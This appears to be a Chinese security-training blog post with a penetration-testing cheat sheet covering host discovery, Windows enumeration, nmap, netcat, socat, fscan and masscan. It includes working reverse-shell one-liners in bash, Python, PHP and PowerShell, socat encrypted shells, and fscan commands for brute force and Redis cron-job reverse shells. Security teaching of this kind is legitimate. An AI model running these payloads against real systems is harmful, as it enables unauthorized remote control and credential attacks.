您当前的位置:首页 > 知乎文章

信息收集

时间:2022-02-28 10:46:02  知乎原文链接  作者:网盾网络安全培训

前段时间有两个学员被派出去出差搞HW的事情,天天在群里面听他们说剩下来的学员帮忙信息收集。盾叔心想,搞什么信息搜集,搜集学员自己的个人信息吗?但是也不需要每天都在教室里面搜集把,而且收集一下个人信息就一个WeChat就能搞定啊!

然后就抱着学习的心态去问了我们的助教老师,被一通嫌弃,最后终于搞清楚了。原来,信息收集和我理解中的信息收集不一样啊。。。简直大开眼界

信息收集的方向

1. 主机存活探测

2. 主机端口开放情况

3. 主机服务探测

4. 主机操作系统探测

5. 网段分布情况

6. 漏洞信息探测

7. 主机内部信息搜集 / 域内信息搜集

01 主机内部信息收集

操作系统默认 ttl 值

① WINDOWS NT/2000 TTL:128

② WINDOWS 95/98 TTL:32

③ UNIX TTL:255

④ LINUX TTL:64

⑤ WIN7 TTL:64

基于 icmp 协议的主机存活探测

① windows

for /l %i in (1,1,255) do @ ping 192.168.1.%i -w 1 -n 1 | findstr "TTL="

② linux

for i in {1..254};do ping -w 1 -c 1 121.5.144.$i|grep "ttl="|awk '{print $4}'|awk -F ":"

'{print $1}';done

1. 查看网络配置信息

ipconfig /all

2. 查询操作系统和版本信息

systeminfo | findstr /B /C:”OS 名称 ” /C:”OS 版本 ” ( 如果是英文版的中文切换成英文 )

3. 查看安装的软件及版本、路径等

wmic product get name,version ( 可能会很慢 )

4. 查看进程信息

1-tasklist

2-wmic process list brief

!!!:

wmic(windows management instrumentation command-line) :windows 管理工具命令行

5. 查看用户信息

net user

6. 查看本地管理员组

net localgroup administrators

7. 查询端口列表

netstat -ano

8. 查看补丁列表

1-systeminfo | findstr “KB”

2-wmic qfe get Caption,HotFixID,Description,InstalledOn

9. 查询共享列表

1-netshare

2-wmic share get name,path,status

10. 查看当前用户

whoami

02 Nmap的使用

常见端口漏洞

nmap 是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。
确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦
称 fingerprinting )。它是网络管理员必用的软件之一,以及用以评估网络系统
安全。

class="ztext-empty-paragraph">


优点 :高效、开源、功能齐全
Banner :指软件开发商、软件名称、版本、服务类型等信息。
功能 :
§ 1- 存活主机
§ 2- 端口扫描
§ 3- 防火墙侦测
§ 4- 漏洞扫描
§ 5- 操作系统用法:nmap [扫描类型] [选项] {目标规范}
• 例如:nmap -sSV -F -T4 192.168.37.0/24
• 常用命令:
• -Pn:将所有主机视为联机-跳过主机发现
-v|-vv:详细|更详细过程
• -sS:SYN扫描(隐匿)
• -sV:探测打开的端口以确定服务/版本信息
• -O:启用操作系统检测
• -T <0-5>:设置时序模板(越高越快)T4
• -A:综合扫描
• -p:端口范围 可以-p-(代表全端口)|-p 0-65535 |-p 80,445,3389

信息收集(使用脚本):

-sC :相当于 --script=defaults

smb-check-vulns.nse smb 服务漏洞探测

nmap --script=smb-check-vulns.nse IP

nmap 脚本存放位置:

/usr/share/nmap/scripts/

auth: 负责处理鉴权证书(绕开鉴权)的脚本

broadcast: 在局域网内探查更多服务开启状况,如 dhcp/dns/sqlserver 等服务

brute: 提供暴力破解方式,针对常见的应用如 http/snmp 等

default: 使用 -sC 或 -A 选项扫描时候默认的脚本,提供基本脚本扫描能力

discovery: 对网络进行更多的信息,如 SMB 枚举、 SNMP 查询等

dos: 用于进行拒绝服务攻击

exploit: 利用已知的漏洞入侵系统

external: 利用第三方的数据库或资源,例如进行 whois 解析

fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,

此类脚本可能引发对方的 IDS/IPS 的记录或屏蔽

malware: 探测目标机是否感染了病毒、开启了后门等信息

safe: 此类与 intrusive 相反,属于安全性脚本

version: 负责增强服务与版本扫描( Version Detection )功能的脚本

vuln: 负责检查目标机是否有常见的漏洞( Vulnerability ),如是否有 MS08_067

03 NC

功能强大的网络工具,在网络工具中有 “ 瑞士jundao ” 美誉,其有 Windows

和 Linux 的版本。因为它短小精悍 , 功能实用,被设计为一个简单、可靠的网络

工具,可通过 TCP 或 UDP 协议传输读写数据。同时,它还是一个网络应用

Debug 分析器,因为它可以根据需要创建各种不同类型的网络连接。

nc 的作用

( 1 )实现任意 TCP/UDP 端口的侦听, nc 可以作为 server 以 TCP 或 UDP 方式侦

听指定端口

( 2 )端口的扫描, nc 可以作为 client 发起 TCP 或 UDP 连接

(3 )传输文件

(4 )网络测速

(5 )克隆硬盘或分区

(6 )反弹服务器 shell

常用命令介绍:

§ -v (

verbose 详细):详细信息 -z (

zero-I/0 ):无输入输出扫描 可用端口扫描

§ -l (

listen 监听):监听

§ -p (

port ):端口

§ -t (

telnet ): telnet 方式访问

§ -e (

exec ):执行命令 --->

§ 监听: nc -l -p xx 常用 nc -lvvp xx

§ 反弹 shell :

端口探测:

§ -vz :

文件传输:

§ 接收端: nc -lvvp > 文件名(任意)

§ 发送端: nc IP PORT < 文件名(存在的)

§ ps :连接成功则传输成功

NC连接shell的其他方式

1.bash -i >& /dev/tcp/ip/port 0>&1

解释:

bash -i 打开一个交互的 bash

>& 将标准错误输出重定向到标准输出

/dev/tcp/x.x.x.x/port 意为调用 socket, 建立 socket 连接 , 其中 x.x.x.x 为要反弹到的主机 ip , port 为端口

0>&1 标准输入重定向到标准输出,实现你与反弹出来的 shell 的交互

注:

/dev/tcp/ 是 Linux 中的一个特殊设备 , 打开这个文件就相当于发出了一个 socket 调用,建立一个 socket 连接,

读写这个文件就相当于在这个 socket 连接中传输数据。同理, Linux 中还存在 /dev/udp/ 。

linux shell 下常用的文件描述符是:

1. 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;

2. 标准输出 (stdout) :代码为 1 ,使用 > 或 >> ;

3. 标准错误输出 (stderr) :代码为 2 ,使用 2> 或 2>> 。

另外由于不同 Linux 发行版之间的差异,该命令在某些系统上可能并不适用。

python 反弹 shell

python -c 'import

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STRE

AM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

直接用就好了,改 ip 就行。

php 反弹 shell

php -r '$sock=fsockopen(“IP”,port);exec(“/bin/sh -i <&3 >&3 2>&3”);

powershell:

$client = New-Object System.Net.Sockets.TCPClient('192.168.0.102',4444);

$stream = $client.GetStream();

[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

{

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);

$sendback = (iex $data 2>&1 | Out-String );

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

$stream.Write($sendbyte,0,$sendbyte.Length);

$stream.Flush();

}

$client.Close();

04 socat

Socat 是一个命令行实用程序,它建立两个双向字节流并在它们之间传

输数据。对于渗透测试,它与 Netcat 类似,但具有其他有用的特性。

创建监听 :

socat TCP4-LISTEN:port STDOUT

连接 :

socat - TCP4:IP:PORT

!!!: 单纯的建立连接需要加 - 和 stdout, 建立标准的输入输出流

文件传输 :

传输

socat tcp4-listen:port,fork file:filename

!!!:fork 用于创建子进程 , 允许多个连接

接收

socat tcp4:ip:port file:filename,create

!!!:create 用于生成文件 , 生成文件及传输方向两边都行

反向 shell

socat -d -d tcp4-listen:4444 stdout

监听 shell 反弹

socat tcp4:ip:port exec:/bin/bash

反弹 shell

加密的正向 shell

我们将使用 openssl 应用程序通过以下选项创建自签名证书:

req :启动新的证书签名请求

-newkey :生成一个新的私钥

rsa:2048 :使用密钥长度为 2048 位的 RSA 加密。

-nodes :存储不带密码保护的私钥

-keyout :将密钥保存到文件

-x509 :输出自签名证书而不是证书请求

-days :以天为单位设置有效期

-out :将证书保存到文件

生成密钥 ( 公钥和私钥 )

openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out

bind_shell.crt

把公钥和私钥转为 socat 接收的格式

cat bind_shell.key bind_shell.crt > bind_shell.pem

建立监听与连接

socat openssl-listen:port,cert=bind_shell.pem,verify=0,fork exec:/bin/bash

!!!:verify=0 --> 禁用 ssl 验证

socat - openssl:ip:port,verify=0

05 fscan

github.com/shadow1ng/fs

fscan.exe -h 192.168.1.1/24 ( 默认使用全部模块 )

fscan.exe -h 192.168.1.1/16 (B 段扫描 )

fscan.exe -h 192.168.1.1/24 -np -no -nopoc( 跳过存活检测 、不保存文件、跳过 web poc 扫描 )

fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥 )

fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹 shell)

fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行 )

fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 ( 指定模块 ssh 和端口 )

fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt ( 加载指定文件的用户名、密码来进行爆破 )

fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt ( 指定扫描结果保存路径 , 默认保存在当前路径 )

fscan.exe -h 192.168.1.1/8 (A 段的 192.x.x.1 和 192.x.x.254, 方便快速查看网段信息 )

fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb 密码碰撞 )

fscan.exe -h 192.168.1.1/24 -m ms17010 ( 指定模块 )

fscan.exe -hf ip.txt ( 以文件导入 )

fscan.exe -u baidu.com -proxy 8080 ( 扫描单个 url, 并设置 http 代理 127.0.0.1:8080)

masscan :被称为最快的端口扫描器, 6 分钟可以扫描全网。

--rate:

指定发包速率

--ports:

指定端口

--adapter-ip:

指定发包的 IP 地址

--adapter-port:

指定发包的端口号

--adapter-mac:

指定发包的源 mac

--router-mac:

指定网关的 mac

--exclude:

黑名单 , 不扫描指定的 IP

--wait:

设置发完包后默认 (10s) 的等待时间

06 masscan

# web 常用

masscan 127.0.0.0/24 -p80,161,443,873,2181,3389,6379,7001,8000,8009,8080,9000,9009,9090,9200,9300,10000,50070 > results.txt

# 远程登录

masscan 127.0.0.0/24 -p22,23,3389,5632,5800,5900,5901 > results.txt

# 文件服务

masscan 127.0.0.0/24 -p20,21,445,873,2049 > results.txt

# 数据库

masscan 127.0.0.0/24 -p1433,1521,3306,4100,5000,5432,5984,6379,11211,27017,27018 > results.txt

# 单端口扫描

masscan 127.0.0.0/24 -p443

# 多端口扫描 扫描 80 或 443 端口的 B 类子网

masscan 127.0.0.0/24 -p80,443

# 扫描一系列端口 扫描 22 到 25 端口的 B 类子网

masscan 127.0.0.0/24 -p22-25

# 快速扫描

masscan 127.0.0.0/24 -p80,8000-9000 --rate 100000

# 排除目标

masscan 127.0.0.0/24 -p80,8000-9000 --excludefile exclude.txt

# 结果保存

masscan 127.0.0.0/24 -p80,8000-9000 > results.txt


看完这些内容是不是觉得脑容量不够用了?总之小盾已经进行了N次头脑风暴了,不过听了助教一番话瞬间清醒了。果然还是老师有用,还是网盾的老师”功力“高,想要学习黑客技术的可以来戳我~盾叔水平一般,但是我们还有强大的师资团队!!!!

上一篇      下一篇    删除文章    编辑文章
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
    无相关信息
栏目更新
栏目热门